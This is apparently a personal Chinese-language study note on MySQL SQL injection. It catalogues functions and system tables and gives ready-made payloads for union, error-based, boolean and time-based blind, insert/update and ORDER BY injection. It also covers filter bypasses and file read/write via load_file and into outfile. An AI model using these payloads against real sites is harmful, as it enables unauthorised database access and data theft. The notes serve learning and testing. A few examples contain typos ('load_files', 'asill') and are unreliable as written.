前言
最近,感觉知识学的有点混乱,来整理一波自己的知识。先总结一下sql注入吧。
知识储备
sql注入中常用到的库和表
information_schema库
这个数据库中保存着mysql服务器所保存的所有的其他数就库的信息,如数据库名,数据库的表名,表的字段名称和访问权限。
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
mysql库
MySQL库中user表中存有所有的MySQL用户信息。
注意:自MySQL的5.7版本后,密码字段不再是password字段而是authentication_string字段。
sql注入中常用到的函数
database() 返回当前数据库名
例:select database();
version() 返回MySQL服务器的版本
例:select version();
user()或 system_user() 返回当前登陆用户名
例:select user();
1. system_user() 系统用户名
2.user() 用户名
3.current_user() 当前用户
@@datadir 读取数据库路径
@@basedir 读取数据库安装路径
@@version_compile_os 读取操作系统信息
同例:select @@basedir;
load_file() 读取本地文件的函数
例:select load_files('d:\1.txt');
(注:Linux系统路径是/ windows系统是\)
into outfile 将查询结果导出到本地文件
例:select * from yang into outfile 'D:\1.txt';
count() 计算表中总的行数
例:select count(*) from user;
concat(s1,s2,s3,...) 函数返回结果为链接参数产生的字符串,如果有一个参数为null则返回值为null
substr(s,n,len) 和substring() 和 mid()作用相同;函数表示从字符串s中返回长度为len的字符串,起始位置为n,若n为负值则是从最后开始,输出顺序与原来一样。
Left(string, n ) string为要截取的字符串,n为长度。
length() 返回字符串的字节长度。utf8中,一个汉字是三个字节。
例:select length('like');
ascii() 返回字符串最左边字符的ascii值。如果字符串为空,返回0。如果字符串为null则返回null。
例:select asill('like');
sleep(n) 让服务器强制停留n秒后执行。
例:select sleep(5);
if(a,b,c) 如果a条件为真,则返回b的值。a条件为假则返回c的值。
例:select if(1<2,2,3);
HEX(number) 如果number不是整数,则在进行运算前将其四舍五入为最接近的整数,十六进制数值然后返回该数的表示形式;如果number是NULL,将返回NULL值..如果number是一个字符串,则返回number的十六进制字符串表示形式,其中number里的每个字符被转化为两个十六进制数字
例:select hex(21);
select hex(21);
CONV(N,from_base,to_base) N是要转换的数据,from_base是原进制,to_base是目标进制。如果N是有符号数字,则to_base要以负数的形式提供,否则会将N当作无符号数。
例:select conv(20,10,16);
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串).
作用:从目标XML中返回包含所查询值的字符串。
此函数有长度限制,显示的内容长度最长 32 位。
concat(s1,s2,s3,…)
函数返回结果为链接参数产生的字符串,如果有一个参数为null则返回值为null
例:select concat (id, name, score) from tt2;
group_concat() 将在同一分组的内内容连接起来,返回一个字符串结果。
常用语句
获取所有的数据库库名:select group_concat(schema_name) from information_schema.schemata
获取某个数据库的所有表名:select group_concat(table_name) from information_schema.tables where table_schema='xxxxx'
获取某个表所有的列名:Select group_concat(column_name) from information_schema.columns where table_name='xxxxx'
获取某列的内容:Select *** from ****
注入分类
根据注入手法分:
- 联合查询注入
- 报错型注入
- 盲注
- 布尔型注入
- 基于时间的盲注
联合注入
条件:需要有显示位。
例:$sql=select user,pwd from user where id='$id';
注入:
$id=0' union select (database()),'2
首先,用order by 来猜列数
$id=1' order by 2#
然后注入。。。
报错注入
条件:显示报错信息
常用的报错方法:
- floor
- ExtractValue(有长度限制,最长32位)
- UpdateXml(有长度限制,最长32位)
- NAME_CONST(适用于低版本,不太好用)
- Error based Double Query Injection
- exp(5.5.5以上)
- polygon
floor
floor()报错注入准确地说应该是floor,count,group by冲突报错
表名:
?id=1" and (select 1 from (select count(*),concat((select concat(0x7e,table_name,0x7e) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
库名:
?t=1111+and (select+1+from+(select+count(*),concat((select+concat(0x7e,schema_name,0x7e)+from+information_schema.schemata+limit+0,1),floor(rand(0)*2))x+from information_schema.tables group by x)a); --+
ExtractValue(有长度限制,最长32位)
?id=1' and extractvalue(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,32),0x7e))--+
UpdateXml(有长度限制,最长32位)
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,32),0x7e),1)--+
NAME_CONST(适用于低版本,不太好用)
?id=1 and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--+
Error based Double Query Injection
?id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1
exp(5.5.5以上)
id=1 and (select exp(~(select * from(select user())x)))
polygon
select * from users where username=""and polygon (password);
//password为某列列名;
盲注
注:MySQL4之后大小写不敏感,可使用binary()函数使大小写敏感。
根据真假返回的页面不同或响应时间不同可以用来盲注
布尔盲注
布尔盲注主要利用的点在于值的真与假返回的页面内容不同。
常见的构造:
//正常情况
' or bool#
true' and bool#
' or bool or '
true' and bool and '1
' and if(bool,1,2)#
//异或盲注
'^(bool)='1
'^(bool)#
//其他
' or (case when (bool) then 1 else 0 end)#
' or ((bool) in (1)) or '0
' or ((bool) in (1))#
常见绕过方式:
or 可以用 ||代替或双写或大小写绕过
and 可以用&&代替或双写或大小写绕过
=可以用<>代替也可用>或<比较产生布尔值
构造逻辑判断
ASCII()、ORD()字符转ASCII
CHAR() ASCII转字符
一般用来辅助盲注。
left(user(),1)>'r'
right(user(),1)>'r'
substr(user(),1,1)='r'
mid(user(),1,1)='r'
greatest("ct",database())= "ct"////返回最大值再与字符串比较
least("c",database())="c"//返回最小值再与字符串比较
//过滤逗号
POSITION('f' in database()) //返回的是字符的位置第一个字符的返回值是1
database() regexp '^[a-z]'//正则匹配
database() like 'c%' //注意%是通配符,建议写脚本的时候时候写到字符集最后面
mid(database() from 1 for 1)='c'
利用order by 盲注的骚姿势
mysql> select * from user where username='' or 1 union select 1,2,3,'1' order by 4;
+----+----------+-------+----------+
| id | username | money | password |
+----+----------+-------+----------+
| 1 | 2 | 3 | 1 |
| 2 | asd | 10000 | 123 |
| 1 | user | 10000 | user |
+----+----------+-------+----------+
3 rows in set (0.00 sec)
mysql> select * from user where username='' or 1 union select 1,2,3,'2' order by 4;
+----+----------+-------+----------+
| id | username | money | password |
+----+----------+-------+----------+
| 2 | asd | 10000 | 123 |
| 1 | 2 | 3 | 2 |
| 1 | user | 10000 | user |
+----+----------+-------+----------+
3 rows in set (0.00 sec)
这样就能盲注出你想要的数据。(不太实用)
时间盲注
时间盲注一般用于页面无回显不同,只能通过响应时间来判断真假。
常用构造:
if((bool),sleep(3),0)
or (case when (bool) then sleep(3) else 0 end)
'or if((bool),(select BENCHMARK(10000000,md5('a'))),1)--//bool为真时延时
' or if(ascii(substr((select database()),%d,1))<%d,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.tables C),1)#//%d是占位符,笛卡尔积来进行延时注入
insert&update注入
insert和update一般用报错注入
mysql> insert into user values('2','1' and updatexml(1,concat(0x7e,substr((database()),1,32),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: '~csrf~'
mysql> update user set username=''and updatexml(1,concat(0x7e,substr((database()),1,32),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~csrf~'
如果没有错误回显,insert可以用时间盲注。
mysql> insert into user values('4','1','2','1' and sleep(3));//列数与表列数相同
Query OK, 1 row affected (3.00 sec)
update 可以使用布尔盲注和时间盲注。
如果存在insert和uodate更新后的数据可见的话,可以利用mysql中字符串与数字运算时被当成0进行运算。
mysql> select 'aaa1'+1;
+----------+
| 'aaa1'+1 |
+----------+
| 1 |
+----------+
1 row in set, 1 warning (0.00 sec)
我们可以利用查询的数据转化为10进制,然后进行运算,拿到我们计算的结果,在进行转化回去即可(一般六位一转,因为七位数太大会被mysql自动进行科学计数法存储,导致数据不准确,无法进行还原)
mysql> update user set password=''+conv(hex(substr(user(),1+(1-1)*6,6)),16,10);
ERROR 1582 (42000): Incorrect parameter count in the call to native function 'hex'
mysql> update user set password=''+conv(hex(substr(user(),1,6)),16,10);
Query OK, 1 row affected (0.09 sec)
Rows matched: 1 Changed: 1 Warnings: 0
mysql> select * from user;
+----+----------+-------+-----------------+
| id | username | money | password |
+----+----------+-------+-----------------+
| 1 | user | 0 | 125822936825964 |
+----+----------+-------+-----------------+
1 row in set (0.00 sec)
mysql> select unhex(conv(125822936825964,10,16));
+------------------------------------+
| unhex(conv(125822936825964,10,16)) |
+------------------------------------+
| root@l |
+------------------------------------+
1 row in set (0.09 sec)
在update注入时,取数据时用到的时用的语句:
select username from (select username from users where username=0x61646d696e)x
或
select group_concat(username) from (select username from users where username=0x61646d696e)x
username为列名。
取其他的数据时和别的注入相同。
order by 注入
报错注入
mysql> select * from user order by 1 and extractvalue(1, concat(0x7e, (select user()),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
布尔盲注
基于if()盲注
order by的列不同,返回的页面当然也是不同的,所以就可以根据排序的列不同来盲注。
需要列名的方法:
order by if((bool),id,username)
这里如果使用数字代替列名是不行的,因为if语句返回的是字符类型,不是整型。
不需要知道列名的方法:
order by if((bool),1,(select id from information_schema.tables))
order by IF((bool),1,(select 1 union select 2))
如果表达式为false时,sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误,导致查询内容为空,如果表达式为true是,则会返回正常的页面
基于rand的盲注
mysql> select * from ha order by rand(true);
+----+------+
| id | name |
+----+------+
| 9 | NULL |
| 6 | NULL |
| 5 | NULL |
| 1 | dss |
| 0 | dasd |
+----+------+
mysql> select * from ha order by rand(false);
+----+------+
| id | name |
+----+------+
| 1 | dss |
| 6 | NULL |
| 0 | dasd |
| 5 | NULL |
| 9 | NULL |
+----+------+
可以看到当rand()为true和false时,排序结果是不同的,所以就可以使用rang()函数进行盲注了。
order by rand(ascii(mid((select database()),1,1))>32)
延时盲注
不推荐,因为每条数据都会执行延时,能用其他方法就不使用延时。
order by IF(1,sleep(3),0);
延迟时间=sleep(1)的秒数*所查询数据条数。
在写脚本时,可以添加timeout这一参数来避免延迟时间过长这一情况。
bypass
information被ban的绕过:
mysql 库里增添了两个新表,innodb_index_stats 和 innodb_table_stats
查库名
select database_name from mysql.innodb_table_stats group by database_name;
查表名
select table_name from mysql.innodb_table_stats where database_name=database();